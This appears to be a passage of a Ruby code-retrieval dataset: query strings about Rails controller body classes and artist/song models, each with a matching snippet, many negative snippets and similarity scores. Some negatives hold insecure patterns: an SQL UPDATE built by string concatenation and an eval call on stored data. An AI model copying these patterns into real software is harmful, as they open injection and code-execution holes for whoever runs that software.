"def update_status config\n\n #format of config {}\n #config = { :every => '1d',\n # :contact => 'admin@mail.com',\n # :via => 'gmail'\n # }\n\n scheduler = Rufus::Scheduler.start_new\n scheduler.every config[:every] do \n\n puts 'sending Status Report...' \n\n @body = status_report \n message = {:to => config[:contact],\n :subject => @subject, \n :body => @body}\n\n if config[:via] == 'gmail'\n Ragios::Notifiers::GMailNotifier.new.send message \n elsif config[:via] == 'email'\n Ragios::Notifiers::EmailNotifier.new.send message\n else\n raise 'Wrong hash parameter for update_status()'\n end\n end\n end",
"def status_changed status\n # overwrite\n # eg. server.call_start_callback(self) if status == :ready\n end",
"def status(*) end",
"def status=(status); end",
"def check_status(result, devicelist)\t\n \t\tif result[\"success\"] == 1\n\t\t\tstatusmsg = \"Push notification SUCCESSFUL\"\n\t\t\tif result[\"results\"][0].count > 1\n\t\t\t\t# send_email_to_master?: Notification processed but with warning on fcm_id\n\t\t\t\tstatusmsg = \"Push notification SUCCESSFUL, but Registration ID needs checked\"\n\t\t\tend\n\t\telsif result[\"failure\"] == 1\n\t\t\tmessageid = result[\"results\"][0][\"error\"]\n\t\t\tif messageid == \"Unavailable\"\n\t\t\t\tstatusmsg = \"Push notification RETRYING\"\n\t\t\t\tnotif_process(sendername, recipient, devicelist, message)\t\n\t\t\telsif messageid == \"InvalidRegistration\"\n\t\t\t\t# send_email_to_master?: Individual needs to reinstall/reregister app on their device or dup entries may exist in db\n\t\t\t\tdb.exec (\"UPDATE accounts set fcm_id = null, device_type = null WHERE fcm_id = '\" + devicelist + \"'\")\n\t\t\t\tstatusmsg = \"Push notification FAILED: Invalid Registration ID, app may have been reinstalled\"\n\t\t\telsif messageid == \"NotRegistered\"\n\t\t\t\t# send_email_to_master?: Individual removed app from their device\n\t\t\t\tdb.exec (\"UPDATE accounts set fcm_id = null, device_type = null WHERE fcm_id = '\" + devicelist + \"'\")\n\t\t\t\tstatusmsg = \"Push notification FAILED: App was removed from target device\"\n\t\t\telsif messageid == \"MissingRegistration\"\n\t\t\t\t# send_email_to_master?: In theory, notif should not be permitted to individual without app installed\n\t\t\t\tstatusmsg = \"Push notification FAILED: No Device Registered\"\n\t\t\telse\n\t\t\t\t# send_email_to_master?: Error recorded in db needs investigate and/or added here\n\t\t\t\t#Unregistered Device, Invalid Package Name, Mismatched Sender, Message Too Big (2048 for ios and topics;4096 otherwise)\n\t\t\t\t#Device Message Rate Exceeded, Invalid APNs credentials\n\t\t\t\tstatusmsg = \"Push notification FAILED: Reason needs investigated\"\n\t\t\tend\n\t\tend\n\t\tstatusmsg\n\tend",
"def perform!(failure = false)\n @template = Backup::Template.new({:model => @model})\n\n action = false\n if failure\n action = :failure if notify_on_failure?\n else\n if notify_on_success? || (notify_on_warning? && Logger.has_warnings?)\n action = Logger.has_warnings? ? :warning : :success\n end\n end\n\n if action\n log!\n notify!(action)\n end\n end",
"def status status\n yield\n ActiveRecord::Base.connection_pool.with_connection do \n @log.update(success_status: status, is_error: 0, error_status: nil, error_message: nil)\n end\n rescue => e\n ActiveRecord::Base.connection_pool.with_connection do \n @log.update(success_status: 0, is_error: 1, error_status: status, error_message: e.to_s)\n end\n Rails.logger.debug \"Exception at status \" + status.to_s + \" : \" + e.message + \" --- \" + e.backtrace.to_s\n raise\n ensure\n # call to request url\n # request_url(repo, status, caller_locations(2,2)[0].label)\n end",
"def say_status(status, message, log_status = true)\n Strainer.log.info(\"status: #{status}, message: #{message}\")\n\n return if quiet?\n super(status, message, log_status)\n end",
"def alive(alert, event, status)\n starts_at = DateTime.now - eval(event.amounts)\n ends_at = DateTime.now\n\n raw = @platform.raw_data.captured_between(starts_at, ends_at)\n if raw.count == 0 \n @status.update_attributes(status: \"ALERT!\", message: \"Platform #{@platform.name} is down, no new data for alert period of #{event.amounts}!\", end_time: DateTime.now)\n AlertMailer::alert_email(alert, \"Platform #{@platform.name} is down, no new data for alert period of #{event.amounts}!\", @platform.name).deliver\n else\n @status.update_attributes(status: \"Finished\", end_time: DateTime.now)\n end\n\tend",
"def print_result_metadata(status)\n result = status.results\n\n if [0, 1].include?(result[:statuscode])\n if result[:data][:exitcode] == 0\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:green, result[:data][:exitcode])])\n else\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:red, result[:data][:exitcode])])\n end\n\n out.puts(\" %s by %s at %s\" % [\n Util.colorize(:bold, result[:data][:task]),\n result[:data][:callerid],\n Time.at(result[:data][:start_time]).utc.strftime(\"%F %T\")\n ])\n\n out.puts(\" completed: %s runtime: %s stdout: %s stderr: %s\" % [\n result[:data][:completed] ? Util.colorize(:bold, \"yes\") : Util.colorize(:yellow, \"no\"),\n Util.colorize(:bold, \"%.2f\" % result[:data][:runtime]),\n result[:data][:stdout].empty? ? Util.colorize(:yellow, \"no\") : Util.colorize(:bold, \"yes\"),\n result[:data][:stderr].empty? ? Util.colorize(:bold, \"no\") : Util.colorize(:red, \"yes\")\n ])\n elsif result[:statuscode] == 3\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:yellow, \"Unknown Task\")])\n else\n out.puts(\" %-40s %s\" % [result[:sender], Util.colorize(:yellow, result[:statusmsg])])\n end\n\n out.puts\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def notify_failed\n @color = RED\n @msg = \"Deployment Failed\"\n post\n end",
"def status=(value)\n @status = value\n end",
"def notify_success?\n result_status == \"QUERY_SUCCESS\"\n end",
"def notify_success?\n result_status == \"QUERY_SUCCESS\"\n end",
"def refresh_status!\n update!(:status => 'new') if status.nil?\n update!(:status => 'ack') if acked?\n update!(:status => 'nack') if nacked?\n update!(:status => 'push') if pushed?\n end",
"def notify_finishing\n @color = GREEN\n @msg = \"Deployment Finished\"\n post\n end",
"def record_status(metric, is_success, opts = {})\n record_internal({\"#{metric}.status\" => is_success ? 1 : -1}, opts)\n end",
"def notifications\n order = Spree::Order.find_by_number(params[:order_id])\n\n order.payment_state =\n case params[:transaction_status]\n when \"expired\", \"cancel\"\n \"failed\"\n when \"pending\"\n \"pending\"\n when \"capture\"\n \"processing\"\n when \"settlement\"\n \"completed\"\n end\n\n order.save\n head 200\n end",
"def analyze_result(type, result)\n ret = {}\n if result.match(/.*ERROR.*completed.*/) or result.match(/.*completed.*warnings.*/)\n ret[:result] = 'Backup WARNING - ' + type + ' backup (' + @date + ') message: \"' + result + '\"'\n ret[:value] = 1\n elsif result.match(/.*completed successfully.*/)\n ret[:result] = 'Backup OK - ' + type + ' backup (' + @date + ') message: \"' + result + '\"'\n ret[:value] = 0\n else\n ret[:result] = 'Backup ERROR - ' + type + ' backup (' + @date + ') message: \"' + result + '\"'\n ret[:value] = 2\n end\n return ret\n end",
"def status\r\n case status_id\r\n when 1; \"Sending\"\r\n when 2; \"Sent\"\r\n when 3; \"Bounced\"\r\n when 4; \"Opened\"\r\n when 5; \"Downloaded\"\r\n when 6; \"Send Failed\"\r\n else; \"Processing\"\r\n end\r\n end",
"def basic_status_and_output(messages); end",
"def status_message\n (+'').tap do |ret|\n if task.progress\n ret << \"#{(task.progress * 100).to_i}%\"\n ret << ': ' if task.progress_message.present?\n end\n ret << task.progress_message if task.progress_message.present?\n end\n end",
"def notify(type, title, message, image, options = {})\n color = case type\n when 'success' then :green\n when 'pending' then :yellow\n when 'failed' then :red\n else :black\n end\n\n send_message \"#{title}: #{message}\", color\n end",
"def statusChange\n BookingMailer.statusChange\n end",
"def status_notice\n today = Date.current\n status_notice = \"#{self.name}\"\n case\n when today > start_on && today < finished_on\n status_notice << \" is RUNNING NOW.\"\n when today == start_on\n status_notice << \" starts TODAY.\"\n when today < start_on\n status_notice << \" starts on #{start_on.strftime(\"%A, %d %B, %Y\")}.\"\n when today > finished_on\n status_notice << \" is completed.\"\n when start_on.nil?\n status_notice << \" has no start date.\"\n else\n status_notice << '.'\n end\n end",
"def on_failure status\n @failed_attempts += 1\n if @failed_attempts == @retries + 1\n begin\n @result = BulkWriterException.new status\n rescue StandardError => e\n raise BulkWriterOperationError, e\n ensure\n @completion_event.set\n end\n else\n backoff_duration\n end\n end",
"def write_result_msg(result)\n msg = if result then\n I18n.t 'config.recreated'\n else\n I18n.t 'config.updated'\n end\n @env.ui.info msg\n end",
"def setup_complete\n if status <= 1\n project.users.each do |u|\n if u.is_recv_vms || u.id == user.id\n VmMailer.vm_ready(u, project, user, commit, uris, htlogin, htpassword).deliver\n end\n end\n end\n\n self.status = (Time.zone.now - created_at).to_i\n generate_hiera\n webshot\n save\n end",
"def customer_status_updated(invoice) \n @invoice = invoice\n mail(:to => invoice.customer.email, :subject => 'Order status update')\n end",
"def notify message\n raise ArgumentError unless message\n raise RuntimeError.new(\"can't process message when status is :#{@status}, title: #{@title}, desc: #{describe}\") unless ready? || collecting?\n if perform_match message\n if done?\n complete\n else\n incomplete\n end\n end\n @status\n end",
"def log_progress_info(dobj, status)\n {\n status:,\n discovery_finished: true,\n pid: dobj.druid.id,\n timestamp: Time.now.utc.strftime('%Y-%m-%d %H:%M:%S')\n }\n end",
"def status\n Command::Installer::Status.new(\n *command_params\n ).execute\n rescue => e\n catch_errors(e)\n end"
] |
[
"0.8278428",
"0.81858903",
"0.79002845",
"0.7889586",
"0.717568",
"0.66246635",
"0.65507144",
"0.6535309",
"0.62342924",
"0.5800433",
"0.57868993",
"0.57754713",
"0.5775124",
"0.57526803",
"0.57137644",
"0.56461227",
"0.56210566",
"0.5583124",
"0.5565201",
"0.5545352",
"0.55282885",
"0.55151236",
"0.5501776",
"0.54982346",
"0.5488763",
"0.5470149",
"0.54629606",
"0.54310745",
"0.54198027",
"0.54188174",
"0.54162025",
"0.54023266",
"0.53860974",
"0.53731847",
"0.5352473",
"0.53478867",
"0.53413135",
"0.53225684",
"0.53195655",
"0.5305579",
"0.5291985",
"0.5291985",
"0.52911437",
"0.52911437",
"0.527053",
"0.5261636",
"0.5261518",
"0.5255294",
"0.5254612",
"0.52471656",
"0.5244452",
"0.5241759",
"0.5234052",
"0.5220857",
"0.52200323",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.521776",
"0.5217136",
"0.5216974",
"0.52022135",
"0.52022135",
"0.51987314",
"0.5193127",
"0.51870334",
"0.51730126",
"0.5170336",
"0.5169964",
"0.5168816",
"0.515939",
"0.5154984",
"0.5150697",
"0.5148411",
"0.51440495",
"0.5142447",
"0.51338536",
"0.51113504",
"0.51000494",
"0.5093682",
"0.5073252"
] |
0.8367057
|
0
|
get a class for each controller. This will be inserted as a class in the body tag.
|
def bodytag_class
a = controller.class.to_s.underscore.gsub(/_controller$/, '').gsub(/\//, '-')
"#{a}".gsub(/_/, '-')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def body_classes\n [controller.controller_name, controller.action_name].join(' ')\n end",
"def body_class\n \"#{controller_name} #{action_name}\"\n end",
"def body_css_class\n\t @body_css_classes ||= []\n\t view_css_class = [controller_path.split('/'), action_name, 'view'].flatten.join('-')\n\n\t @body_css_classes.unshift(view_css_class).join(' ')\n\tend",
"def classes_for_main\n\t\tclass_names = controller.controller_name + '-' + controller.action_name\n\t\tclass_names += \" sidebar\" unless @user.blank? || @hide_dashboard\n\t\tclass_names\n\tend",
"def controller_html_class\n \"#{h controller_path}-controller\"\n end",
"def bodyclass\n \"vc_#{params[:controller].gsub(\"/\", '_')} va_#{params[:action]}\"\n end",
"def body_class\n @body_class ||= begin\n values = params.values_at(:controller, :action)\n\n BodyClass.new(values.map { |v| v.to_s.dasherize })\n end\n end",
"def classes_for_main\n controller.controller_name + '-' + controller.action_name\n end",
"def extra_body_classes\n @extra_body_classes ||= ['blacklight-' + controller.controller_name, 'blacklight-' + [controller.controller_name, controller.action_name].join('-')]\n end",
"def generate_body_class\n c = controller.controller_path.split('/').each { |c| c.parameterize.dasherize }\n c = c.join(' ') + ' ' + controller.action_name.parameterize.dasherize\n c += ' ' + @step.to_s # include the wicked step\n c.strip\n end",
"def body_class\n [\n params[:action],\n controller_path.gsub(SLASH, '__'),\n current_resources_name.try(:gsub, COLONS, '__'),\n content_for(:custom_body_class)\n ].compact.join SPACE\n end",
"def controller_css_class\n controller_name\n end",
"def set_body_class\n log_status = user_signed_in? ? 'logged_in' : 'not_logged_in'\n \"#{controller.controller_name} #{controller.action_name} #{log_status}\"\n end",
"def body_class(class_name=\"page\")\n content_for :body_class, class_name\n end",
"def render_body_class\n extra_body_classes.join \" \"\n end",
"def get_bs_active_class(*tab_names)\n #puts \">>>>>>>>>>>>>>> CONTROLLER NAME: #{controller_name.to_sym}\"\n tab_names.include?(controller_name.to_sym) ? \"active\" : \"\"\n end",
"def edifice_body_classes\n %(c_#{view_path} v_#{view_name} l_#{layout_name}).html_safe\n end",
"def body_class\n ssv = []\n ssv << 'home' if is_home?\n ssv << 'page' if is_page?\n ssv << 'entry' if is_entry?\n ssv << 'categories' if is_categories?\n ssv << 'tags' if is_tags?\n ssv.join(' ')\n end",
"def body_classes(page_body_classes)\n content_for(:body_classes) { page_body_classes }\n end",
"def controllers\n base_controller_class.constantize.descendants\n end",
"def body_classes\n THEMES.collect(&:css_class).uniq.join(' ')\n end",
"def body_classes(classes=nil)\n if classes\n content_for(:body_classes) { classes }\n else\n body = yield_content(:body_classes)\n parts = []\n parts << body if body.present?\n parts << (signed_in? ? 'signed-in' : 'signed-out')\n parts << I18n.locale\n parts.join(' ')\n end\n end",
"def controller_class\n @controller_class ||= @controller&.class || self.class.class_for(@key)\n end",
"def getKlass #:doc:\n @Klass = self.controller_name.classify.constantize\n @Klass\n end",
"def render_body_class\n if respond_to? :extra_body_classes\n extra_body_classes.join \" \"\n else\n \"\"\n end\n end",
"def controller_class; end",
"def controller_class; end",
"def nav_class_for_controller(*controller)\n is_active = controller.include?(params[:controller])\n is_active ? \"active\" : \"\"\n end",
"def classes\n redirect_to helpers.static_page_path_for(:classes), status: :moved_permanently\n end",
"def emit_page_classes\n @page_classes ||= default_page_classes\n @page_classes.flatten!\n @page_classes.compact_blank!\n @page_classes.map! { |c| c.to_s.gsub(/[^a-z_0-9-]/i, '_') }\n @page_classes.uniq!\n @page_classes.join(' ')\n end",
"def touch_controller(klass)\n klass.controller_class\n end",
"def klass_from_controller(c = controller_name)\n c.singularize.camelize.constantize\n end",
"def thing\n controller_name.classify.constantize\n end",
"def page_classes(page)\n classes = []\n classes << 'home' if page.home?\n classes << page.class.name.underscore.dasherize\n classes.join ' '\n end",
"def controller_name(name)\n @controller_class_name = \"#{name}_controller\".camelize\n end",
"def classes\n [\n @classes,\n @view_context.render_document_class(@document),\n 'document',\n (\"document-position-#{@counter}\" if @counter)\n ].compact.flatten\n end",
"def js_class_name\n action = \n case action_name\n when 'create' then 'New'\n when 'update' then 'Edit'\n else action_name\n end.camelize\n \"Views.#{self.class.name.gsub('::', '.').gsub(/Controller$/, '')}.#{action}View\"\n end",
"def generate_all_classes_index(site)\n puts \"55555555555555555555555555555555555555555555555555555555\"\n allClasses = AllClassesIndex.new(site, site.source, \"/pages/classes\")\n allClasses.render(site.layouts, site.site_payload)\n allClasses.write(site.dest)\n\n site.pages << allClasses\n site.static_files << allClasses\n end",
"def controller\n @controller ||= controller_name.constantize\n end",
"def classes\n [\n @classes,\n helpers.render_document_class(@document),\n 'document',\n (\"document-position-#{@counter}\" if @counter)\n ].compact.flatten\n end",
"def classes\n [\n @classes,\n helpers.render_document_class(@document),\n 'document',\n (\"document-position-#{@counter}\" if @counter)\n ].compact.flatten\n end",
"def load_controller_methods\n begin\n Dir.glob(\"app/controllers/**/*.rb\").each{|file| require file}\n rescue LoadError\n raise \"Could not load controller classes\"\n end\n # Make this iterative TODO\n @classes = ApplicationController.subclasses\n end",
"def classes\n [self]\n end",
"def make_class(*args)\n view_class=args.inject(Kernel) {|scope, const_name| scope.const_get(const_name)}\n view_class\n end",
"def classes\n @classes\n end",
"def process_controllers\n\t\t\t\tprocess_services\n\t\t\t\tmodules= jinda_engine::Module.all\n\t\t\t\tmodules.each do |m|\n\t\t\t\t\tnext if controller_exists?(m.code)\n\t\t\t\t\tputs \" Rails generate controller #{m.code}\"\n\t\t\t\tend\n\t\t\tend",
"def name\n self.class.to_s.gsub(/controller$/i, \"\")\n end",
"def html_classes; end",
"def page_classes\n if block_given?\n set_page_classes(*yield)\n else\n emit_page_classes\n end\n end",
"def controller_name\n self.class.to_s\n end",
"def make_controller(klass)\n @controller = eval(\"#{klass.to_s.camelize}Controller\").new\n end",
"def index\n @controllers = Controller.all\n end",
"def classes\n self\n end",
"def model\n\t\tObject.const_get(controller_name.classify)\n\tend",
"def container_classes\n \"panel panel-#{@context} #{@class}\"\n end",
"def class_for_controller_name\n controller_model\n end",
"def objectify(clazz)\n clazzer = if Array.class_exists?(clazz)\n Object.const_get(clazz)\n else\n ClassFactory.create_class clazz.downcase.capitalize, ApplicationController\n end\n clazzer.new self\n end",
"def classes; end",
"def controller_name\n @controller_name ||= controller.class.to_s.sub('Controller', '').underscore\nend",
"def css_classes(mod)\n if mod.respond_to?(:css_classes)\n return mod.css_classess\n else\n mod.class.name.underscore\n end\n end",
"def classes\n kwattr_values(\"class\")\n end",
"def css_class\n end",
"def add_class class_name\n each do |el|\n next unless el.respond_to? :get_attribute\n classes = el.get_attribute('class').to_s.split(\" \")\n el.set_attribute('class', classes.push(class_name).uniq.join(\" \"))\n end\n self\n end",
"def classes\n @class_list ||= Element::Classes.new(self)\n end",
"def classes=(ary)\n `for(var result=[],i=0,l=ary.length;i<l;++i){result.push(ary[i].__value__);}`\n `this.__native__.className=result.join(' ')`\n return ary\n end",
"def model_class\n @controller.model_class\n end",
"def controller_name\n self.class.name.downcase.pluralize\n end",
"def template_namespace\n @controller.class.to_s.sub('Controller','').underscore.pluralize\n end",
"def css_classes_for(classname)\n css_classes_for_map classname, mapping\n end",
"def controller_name\n self.class.controller_name\n end",
"def classes\n\t\tlist = []\n\t\teach_class { |class_constant|\n\t\t\tlist\t<< class_constant\n\t\t}\n\t\treturn list\n\tend",
"def active?(controller_name)\n if params[:controller] == controller_name\n ' class=\"active\" '\n end\n end",
"def show_classes\n classes = Rails.cache.fetch(\"#{current_user.cache_key}/allClasses\", expires_in: 1.hours) do\n keytechAPI.classes.loadAllClasses\n end\n\n # Filter only to files, office file and folders, ignore all CAD-related types\n @classes = []\n classes.each do |element_class|\n next unless element_class.classKey.ends_with?('_WF') ||\n element_class.classKey.ends_with?('_FD') ||\n element_class.classKey.ends_with?('_FILE') ||\n element_class.classKey.ends_with?('_WW') ||\n element_class.classKey.ends_with?('_XL') ||\n element_class.classKey.ends_with?('_PRJ')\n\n if !element_class.classKey.starts_with?('DEFAULT') && element_class.isActive\n @classes.push element_class\n end\n end\n\n response.headers['Cache-Control'] = 'public, max-age=60'\n respond_to do |format|\n format.json do\n render json: @classes\n end\n end\n end",
"def namespaced_class_name(name)\n class_name = \"#{name.split('/').map(&:camelize).join('::')}Controller\"\n if @namespaces.empty?\n class_name\n else\n @namespaces.map { |namespace| \"#{namespace.camelize}::\" }.join('') + class_name\n end\n end",
"def add_body_css_class(css_class)\n @body_css_classes ||= []\n @body_css_classes << css_class\n end",
"def page_class\n current_template.classify.constantize\n end",
"def classes\n @classes.values\n end",
"def classes\n @classes.values\n end",
"def classes\n return [] unless classes = self[\"class\"]\n classes.strip.split(/\\s+/)\n end",
"def initialize_template_class(response)\n super\n klass = self.class\n while klass && klass != Target::BaseController\n if klass.to_s.underscore =~ /\\/(\\w+)_controller$/\n response.template.aux_paths ||= []\n response.template.aux_paths << \"#{RESTORE_ROOT}/modules/#{$1}/views\"\n end\n klass = klass.superclass\n end\n end",
"def emit_api_class!( file, controller )\n emit_summary_comment!(file, controller.const_get(:DESCRIPTION))\n\n file << \"#{indent}public partial class #{ sanitize_api_class(controller) } : #{ base_api_namespace() }.Controller {\\n\\n\"\n \n @indent += 1\n yield\n @indent -= 1\n\n file << \"\\n\"\n file << \"#{indent}}\"\n end",
"def embedded_class(options)\n if controller = options[:controller]\n controller.is_a?(Class) ? controller : \"#{controller.camelize}Controller\".constantize\n else\n self.class\n end\n end",
"def controllers\n raise NotImplementedError\n end",
"def create_angular_controller\n @AppName = Rails.application.class.name.split('::').first\n template \"assets/javascripts/controller.js.erb\", \"app/assets/javascripts/controllers/#{class_name.tableize}_ctrl.js\"\n template \"assets/javascripts/service.js.erb\", \"app/assets/javascripts/services/#{class_name.tableize}_srv.js.coffee\"\n end",
"def base_controller_class\n proc_or_string = (@base_controller_class ||= \"::ApplicationController\")\n proc_or_string.respond_to?(:call) ? proc_or_string.call : proc_or_string\n end",
"def class_galleries\n if controller.controller_name == 'galleries'\n \"current\"\n end\n end",
"def class_names\n classes.map &:name\n end",
"def classes\n @title = 'Puppet Class Listing A-Z'\n @objects_by_letter = objects_by_letter(:puppet_class)\n erb(:objects)\nend",
"def extra_page_classes\n path_classes = page_classes.split(' ')\n\n blog_classes = []\n if current_page.data.tags\n blog_classes << current_page.data.tags.split(',').map{|t| \"tag-#{t.strip.gsub(/\\s+/, '-')}\"}\n end\n if current_page.data.category\n blog_classes << \"category-#{current_page.data.category.strip.gsub(/\\s+/, '-')}\"\n end\n classes = path_classes + blog_classes\n\n return classes.join(' ')\n end",
"def defined_classes\n # TODO: check content type before scanning\n content.scan(/\\s*class\\s+([A-Za-z0-9_\\.]*)/).flatten\n end",
"def body_class\n\t\t!signed_in? ? \"homepage\" : \"no_homepage\"\n\tend",
"def main_tag(html_options = {}, &block)\n html_options[:id] ||= [controller_name, action_name].map(&:capitalize).join\n html_options[:class] = [html_options[:class]].compact.flatten\n if content_for?(:class)\n html_options[:class].concat content_for(:class).split(' ')\n end\n content_tag :main, html_options, &block\n end",
"def append_class(name); end",
"def append_class(name); end",
"def extra_body_classes(extra_body_classes)\n content_for_layout :extra_body_classes, extra_body_classes\n end",
"def change_controller_content\n\n Dir.glob(\"#{plugin_path}/app/controllers/*.rb\").each do |f|\n content = \"\"\n file = File.open(f,\"r\")\n file.each do |line|\n content += \"#{line} \" \n end\n content.sub!(/< ApplicationController{1}/,\"< #{plural_class_name}Controller \\n\")\n file = File.open(f,\"w\")\n file.write(content)\n file.close\n end \n end",
"def controller_name\n \"#{self.class.app_namespace}::#{@controller_name}\"\n end",
"def create_controller_files\n template \"controller.rb\", File.join('app/controllers/mokio', controller_class_path, \"#{controller_file_name}_controller.rb\")\n end",
"def generate_controllers\n @namespace = options[:namespace].blank? ? '' : \"#{options[:namespace].camelize}::\"\n @class_name_prefix = prefix.blank? ? '' : prefix.singularize.camelize\n @param_name_prefix = prefix.blank? ? '' : \"#{prefix.singularize.underscore}_\"\n parent_resource = prefix.present? ? prefix.singularize.underscore : (options[:parent].blank? ? '' : options[:parent].singularize.underscore)\n @path_name_prefix = (options[:namespace].blank? ? '' : \"#{options[:namespace].singularize.underscore}_\") + (parent_resource.blank? ? '' : \"#{parent_resource}_\")\n @path_args_prefix = parent_resource.blank? ? '' : \"@#{parent_resource}, \"\n @default_meeting_request_id = parent_resource.blank? ? 'default' : \"#{parent_resource.camelize}-#{'#'}{@#{parent_resource}.id}\"\n file_name_prefix = (options[:namespace].blank? ? '' : \"#{options[:namespace].underscore}/\") + @param_name_prefix\n controllers = options[:controllers] || CONTROLLERS\n controllers.each do |name|\n template \"#{name}_controller.rb\", \"app/controllers/#{file_name_prefix}#{name}_controller.rb\"\n end\n end",
"def classes\n\t\traise \"classes: Not Implemented\"\n\tend"
] |
[
"0.7761277",
"0.7461699",
"0.731144",
"0.7213907",
"0.7203787",
"0.71533483",
"0.7106747",
"0.7050118",
"0.7019383",
"0.70045877",
"0.6959391",
"0.6845656",
"0.6679478",
"0.6662756",
"0.6516676",
"0.6367624",
"0.63473815",
"0.6293238",
"0.6288641",
"0.6274847",
"0.62674886",
"0.62503046",
"0.6246434",
"0.6244743",
"0.62161326",
"0.6181297",
"0.6181297",
"0.6144411",
"0.6117948",
"0.6001233",
"0.5982862",
"0.59714127",
"0.59691525",
"0.5956249",
"0.59452856",
"0.5921694",
"0.5899319",
"0.58420354",
"0.5827039",
"0.5825095",
"0.5825095",
"0.5741675",
"0.5717307",
"0.56730586",
"0.56730187",
"0.5660531",
"0.5625126",
"0.5604931",
"0.5588661",
"0.55779",
"0.5565545",
"0.5565437",
"0.5560642",
"0.55486083",
"0.5543711",
"0.5531778",
"0.5528114",
"0.54989886",
"0.54982543",
"0.54957634",
"0.54918265",
"0.54783934",
"0.5472781",
"0.5465034",
"0.54591405",
"0.5449382",
"0.5448859",
"0.54478973",
"0.54406995",
"0.5440567",
"0.54324245",
"0.5428474",
"0.5424966",
"0.5420616",
"0.541948",
"0.54087675",
"0.53995657",
"0.53995657",
"0.5396268",
"0.5390929",
"0.5379104",
"0.53714246",
"0.53680235",
"0.53657246",
"0.53641826",
"0.5354916",
"0.53526044",
"0.5345669",
"0.5344565",
"0.5340808",
"0.53369546",
"0.53292423",
"0.5321231",
"0.5321231",
"0.5320788",
"0.5318888",
"0.53138274",
"0.5312709",
"0.5310481",
"0.5297873"
] |
0.7681636
|
1
|
clears the array of all artists so its empty def self.reset_all self.all.clear end returns number of artist instances def self.count self.all.count end adds to the song array and makes artist self
|
def add_song(song)
@songs << song
song.artist = self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n # @@artists << self\n super\n @songs = []\n end",
"def artists\n artists = []\n self.songs.each do |song|\n artists << song.artist\n end\n artists.uniq\n end",
"def all_artists\n (track_artists() + artist()).compact.uniq\n end",
"def initialize\n #@@artists << self #push the instance (self) of the class into the @@all class variable, on which they are being called\n super\n @songs = [] #variable of instence; empty\n end",
"def initialize\n @@artists << self #artists will be stored at @@artists\n @songs = [] #its empty waiting for to be initilized throu attr_reader\n end",
"def artists\n @songs.collect{|song| song.artist}.uniq\n end",
"def artists(artist)\n if song.artist = nil || !Artist.find_by_name(name)\n song.artist = artist \n Artist.all << artist \n end \n end",
"def artists\n @songs.map { |m| m.artist }.uniq\n end",
"def artists\n @artists ||= artists_raw.map {|a| @session.artist.build(:name => a) }\n end",
"def songs # to entre the Song class then within the song class take the class variable all to use to select and go thought the songs listed in that array\n Song.all.select { |song| song.artist == self } # use the .select to gather the information we want from the all array in songs - go thought and assign each song artist to this current instance\n end",
"def songs\n Song.all.select {|song| song.artist = self}\n end",
"def artists\n songs.collect do |song|\n song.artist\n end\n .uniq #does not return duplicate artists if the genre has more than one song by a particular artist (genre has many artists through songs)\n end",
"def artists\n self.songs.collect{|song| song.artist}\n end",
"def add_song(song)\n @songs << song\n #here we use the self keyword to refer to the artist on which we are calling this method. We call the =artist method onto the song that is being passed as an argument and set that to self (the artist)\n song.artist = self\n#once we add a new song we want to increase the class array song count\n @@song_count +=1\n end",
"def artists # it looks like a reader but it's more complicated\n # a has many through\n @songs.collect{|song| song.artist}.uniq #=> This is called a <<has-many-through>>\n end",
"def artist_count\n self.artists.count\n end",
"def songs\n Song.all_by_artist(self)\n end",
"def track_artists\n @tracks.collect{ |t| t.artist }.compact.uniq\n end",
"def initialize\n super\n @songs = []\n end",
"def initialize\n super\n @songs = []\n end",
"def initialize\n @songs = []\n end",
"def initialize\n @songs = []\n end",
"def initialize\n @songs = []\n end",
"def artists\n # - this method will show the connection between songs and artists \n self.songs.collect do |f| \n f.artist\n end\n end",
"def initialize(name)\n @name = name # has a name\n @@all << self #all artist instances push into @@all\n @songs = []\n end",
"def initialize(name) #when an artist is created the name is mandatory\n @name = name #writes/sets a name attribute to the new artist\n @@all << self #pushes that artist into all array. all artist instances go here\n end",
"def save \n# # - this method will add Song instances to the @@all array\n @@all << self \n end",
"def artists\n @songs.collect do |song| #<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">\n song.artist ##<Artist:0x007f874c4ef0b8 @name=\"Jay-Z\", @songs=[#<Song:0x007f874c4eeed8 @artist=#<Artist:0x007f874c4ef0b8 ...>, @genre=#<Genre:0x007f874c4ef018 @name=\"rap\", @songs=[#<Song:0x007f874c4eeed8 ...>]>, @name=\"99 Problems\">]>\n end\n end",
"def initialize\n\t\t@songs = Array.new\n\tend",
"def artists\n self.songs.map {|song| song.artist}\n end",
"def initialize(name) #Creates new instance\n @name = name #Sets instance variable name to name\n @songs = [] #Creates new instance variable array for new Artist\n @@all << self #Adds artist to class variable @@all\n end",
"def artists\n @songs.collect do |song|\n song.artist\n end\n end",
